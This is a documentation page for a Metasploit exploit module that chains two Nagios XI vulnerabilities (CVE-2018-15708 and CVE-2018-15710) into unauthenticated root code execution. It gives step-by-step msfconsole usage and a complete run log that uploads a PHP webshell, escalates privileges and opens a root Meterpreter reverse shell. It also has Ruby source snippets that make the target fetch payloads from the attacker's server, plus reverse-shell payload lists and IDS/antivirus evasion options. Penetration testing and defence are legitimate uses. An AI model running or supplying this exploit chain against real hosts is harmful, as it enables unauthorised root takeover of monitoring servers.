Nagios XI Magpie_debug.php Root Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nagios_xi_magpie_debug metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Nagios XI Magpie_debug.php Root Remote Code Execution
Module: exploit/linux/http/nagios_xi_magpie_debug
Source code: modules/exploits/linux/http/nagios_xi_magpie_debug.rb
Disclosure date: 2018-11-14
Last modification time: 2021-03-16 07:13:55 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-15708, CVE-2018-15710
This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/nagios_xi_magpie_debug
msf exploit(nagios_xi_magpie_debug) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RSRVHOST: A public IP at which your host can be reached (e.g. your router IP)
Knowledge Base
Vulnerable Application
This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root.
The exploit works as follows:
- A local HTTPS server is setup. When it is reached, this server responds with a payload.
- By crafting a malicious request, we make the target host send a request to our HTTPS server.
- The local HTTPS server must be reachable from the Nagios host.
- The
RSRVHOST
andRSRVPORT
options are used to specify the HTTPS server host and port.
- A PHP webshell and payload executable are uploaded via
magpie_debug.php
. - A command is executed via the webshell. This command elevates privileges and runs the payload executable.
Verification Steps
Download a vulnerable version of the Nagios XI virtual appliance:
- https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
- https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.13-64.ova
- https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.0-64.ova
- https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.6-64.ova
Or download a vulnerable application installer and follow the installation instructions.
Metasploit:
msfconsole
use exploit/linux/http/nagios_xi_magpie_debug
set RHOSTS [IP]
set RSRVHOST [IP]
exploit
- You should get a new session with root privileges
Options
RSRVHOST
IP address at which the local HTTPS server can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).
RSRVPORT
Port at which the local HTTPS server can be reached.
NagiosXI 5.5.6 (x64) virtual appliance
msf6 > use exploit/linux/http/nagios_xi_magpie_debug
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113
rhosts => 10.1.1.113
msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114
rsrvhost => 10.1.1.114
msf6 exploit(linux/http/nagios_xi_magpie_debug) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.1.1.114:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Found MagpieRSS.
[*] Using URL: https://0.0.0.0:8080/iRtxnl8L
[*] Local IP: https://10.1.1.114:8080/iRtxnl8L
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/fbHGUhauqtV.php ...
[+] fbHGUhauqtV.php uploaded successfully!
[*] Using URL: https://0.0.0.0:8080/YvyES7YlFee8R
[*] Local IP: https://10.1.1.114:8080/YvyES7YlFee8R
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/nYRTioXKBam ...
[+] nYRTioXKBam uploaded successfully!
[*] Checking PHP web shell: /nagvis/fbHGUhauqtV.php
[+] Success! Commands executed as user: uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
[*] Attempting privilege escalation ...
[*] Sending stage (3008420 bytes) to 10.1.1.113
[*] Meterpreter session 1 opened (10.1.1.114:4444 -> 10.1.1.113:42314) at 2021-03-16 02:58:20 -0400
[+] Deleted /usr/local/nagvis/share/fbHGUhauqtV.php
[+] Deleted /usr/local/nagvis/share/nYRTioXKBam
[!] This exploit may require manual cleanup of '/var/tmp/hRyNmrQHZAq.nse' on the target
[*] Server stopped.
msf6 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.5.1804 (Linux 3.10.0-862.14.4.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/nagios_xi_magpie_debug exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nagios_xi_magpie_debug
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show info
Name: Nagios XI Magpie_debug.php Root Remote Code Execution
Module: exploit/linux/http/nagios_xi_magpie_debug
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-11-14
Provided by:
Chris Lyne ( <Chris Lyne (@lynerc)>
Guillaume Andr�� ( <Guillaume Andr�� (@yaumn_)>
bcoles <[email protected]>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Nagios XI <= 5.5.6
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Number of seconds the web server will wait before termination
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
RSRVHOST yes A public IP at which your host can be reached (e.g. your router IP)
RSRVPORT 8080 yes The port that will forward to the local HTTPS server
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code
execution and CVE-2018-15710 which allows for local privilege
escalation. When combined, these two vulnerabilities allow execution
of arbitrary commands as root.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-15708
https://nvd.nist.gov/vuln/detail/CVE-2018-15710
https://www.exploit-db.com/exploits/46221
https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
https://www.tenable.com/security/research/tra-2018-37
Module Options
This is a complete list of options available in the linux/http/nagios_xi_magpie_debug exploit:
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show options
Module options (exploit/linux/http/nagios_xi_magpie_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Number of seconds the web server will wait before termination
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
RSRVHOST yes A public IP at which your host can be reached (e.g. your router IP)
RSRVPORT 8080 yes The port that will forward to the local HTTPS server
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nagios XI <= 5.5.6
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nagios_xi_magpie_debug exploit:
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show advanced
Module advanced options (exploit/linux/http/nagios_xi_magpie_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_magpie_debug module can exploit:
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show targets
Exploit targets:
Id Name
-- ----
0 Nagios XI <= 5.5.6
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_magpie_debug exploit:
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nagios_xi_magpie_debug exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Could not upload <CURRENT_PAYLOAD> to target. No reply.
- Could not upload <CURRENT_PAYLOAD> to target. Unexpected reply (HTTP <RES.CODE>).
- Error: MagpieRSS: Failed to fetch
- Could not upload <CURRENT_PAYLOAD> to target. cURL failed to download the file from our server.
- Could not access <CURRENT_PAYLOAD>. No reply.
- Could not access <CURRENT_PAYLOAD>. Unexpected reply (HTTP <RES.CODE>).
- No reply.
- Found MagpieRSS.
- Uploading payload failed
- PHP web shell did not execute our commands
- PHP web shell did not execute our commands
- Privilege escalation failed
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not upload <CURRENT_PAYLOAD> to target. No reply.
Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. No reply." error message:
95: path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
96: print_status("Uploading to #{path} ...")
97: res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
98:
99: unless res
100: print_error("Could not upload #{@current_payload} to target. No reply.")
101: return false
102: end
103:
104: unless res.code == 200
105: print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
Could not upload <CURRENT_PAYLOAD> to target. Unexpected reply (HTTP <RES.CODE>).
Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. Unexpected reply (HTTP <RES.CODE>)." error message:
100: print_error("Could not upload #{@current_payload} to target. No reply.")
101: return false
102: end
103:
104: unless res.code == 200
105: print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106: return false
107: end
108:
109: if res.body.include?('Error: MagpieRSS: Failed to fetch')
110: print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
Error: MagpieRSS: Failed to fetch
Here is a relevant code snippet related to the "Error: MagpieRSS: Failed to fetch" error message:
104: unless res.code == 200
105: print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106: return false
107: end
108:
109: if res.body.include?('Error: MagpieRSS: Failed to fetch')
110: print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
111: return false
112: end
113:
114: register_file_for_cleanup(path)
Could not upload <CURRENT_PAYLOAD> to target. cURL failed to download the file from our server.
Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. cURL failed to download the file from our server." error message:
105: print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106: return false
107: end
108:
109: if res.body.include?('Error: MagpieRSS: Failed to fetch')
110: print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
111: return false
112: end
113:
114: register_file_for_cleanup(path)
115: end
Could not access <CURRENT_PAYLOAD>. No reply.
Here is a relevant code snippet related to the "Could not access <CURRENT_PAYLOAD>. No reply." error message:
121: 'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
122: }, 5
123: )
124:
125: unless res
126: print_error("Could not access #{@current_payload}. No reply.")
127: return false
128: end
129:
130: unless res.code == 200
131: print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
Could not access <CURRENT_PAYLOAD>. Unexpected reply (HTTP <RES.CODE>).
Here is a relevant code snippet related to the "Could not access <CURRENT_PAYLOAD>. Unexpected reply (HTTP <RES.CODE>)." error message:
126: print_error("Could not access #{@current_payload}. No reply.")
127: return false
128: end
129:
130: unless res.code == 200
131: print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
132: return false
133: end
134:
135: print_good("#{@current_payload} uploaded successfully!")
136: true
No reply.
Here is a relevant code snippet related to the "No reply." error message:
150:
151: def check
152: res = magpie_debug
153:
154: unless res
155: return CheckCode::Safe('No reply.')
156: end
157:
158: if res.code == 200 && res.body.include?('MagpieRSS')
159: return CheckCode::Appears('Found MagpieRSS.')
160: end
Found MagpieRSS.
Here is a relevant code snippet related to the "Found MagpieRSS." error message:
154: unless res
155: return CheckCode::Safe('No reply.')
156: end
157:
158: if res.code == 200 && res.body.include?('MagpieRSS')
159: return CheckCode::Appears('Found MagpieRSS.')
160: end
161:
162: CheckCode::Safe
163: end
164:
Uploading payload failed
Here is a relevant code snippet related to the "Uploading payload failed" error message:
196: break
197: end
198: end
199:
200: unless all_files_uploaded
201: fail_with(Failure::NotVulnerable, 'Uploading payload failed')
202: end
203:
204: meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
205:
206: print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
PHP web shell did not execute our commands
Here is a relevant code snippet related to the "PHP web shell did not execute our commands" error message:
205:
206: print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
207:
208: res = execute_command('id')
209: unless res && res.body.include?('uid=')
210: fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
211: end
212:
213: id = res.body.scan(/^(uid=.+)$/).flatten.first
214: if id.blank?
215: fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
PHP web shell did not execute our commands
Here is a relevant code snippet related to the "PHP web shell did not execute our commands" error message:
210: fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
211: end
212:
213: id = res.body.scan(/^(uid=.+)$/).flatten.first
214: if id.blank?
215: fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
216: end
217: print_good("Success! Commands executed as user: #{id}")
218:
219: print_status('Attempting privilege escalation ...')
220:
Privilege escalation failed
Here is a relevant code snippet related to the "Privilege escalation failed" error message:
236: execute_command(cmd)
237: break if session_created?
238: end
239:
240: unless session_created?
241: print_error('Privilege escalation failed')
242: print_status("Executing payload as #{id} ...")
243: execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
244: end
245: end
246: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2018-15708
- CVE-2018-15710
- EDB-46221
- https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
- https://www.tenable.com/security/research/tra-2018-37
See Also
Check also the following modules related to this module:
- exploit/linux/http/nagios_xi_autodiscovery_webshell
- exploit/linux/http/nagios_xi_chained_rce
- exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
- exploit/linux/http/nagios_xi_mibs_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
- exploit/linux/misc/nagios_nrpe_arguments
- auxiliary/scanner/http/nagios_xi_scanner
- exploit/unix/webapp/nagios_graph_explorer
- exploit/unix/webapp/nagios3_history_cgi
- exploit/unix/webapp/nagios3_statuswml_ping
- exploit/unix/smtp/morris_sendmail_debug
- exploit/windows/browser/apple_quicktime_smil_debug
- exploit/windows/http/ca_igateway_debug
- exploit/windows/ssh/putty_msg_debug
- auxiliary/gather/chrome_debugger
- exploit/multi/http/werkzeug_debug_rce
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/nodejs_v8_debugger
- exploit/multi/php/ignition_laravel_debug_rce
- exploit/unix/http/twiki_debug_plugins
- payload/cmd/windows/powershell/generic/debug_trap
- payload/generic/debug_trap
- exploit/unix/http/xdebug_unauth_exec
- post/linux/gather/enum_nagios_xi
- exploit/linux/http/axis_app_install
- exploit/linux/http/axis_srv_parhand_rce
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
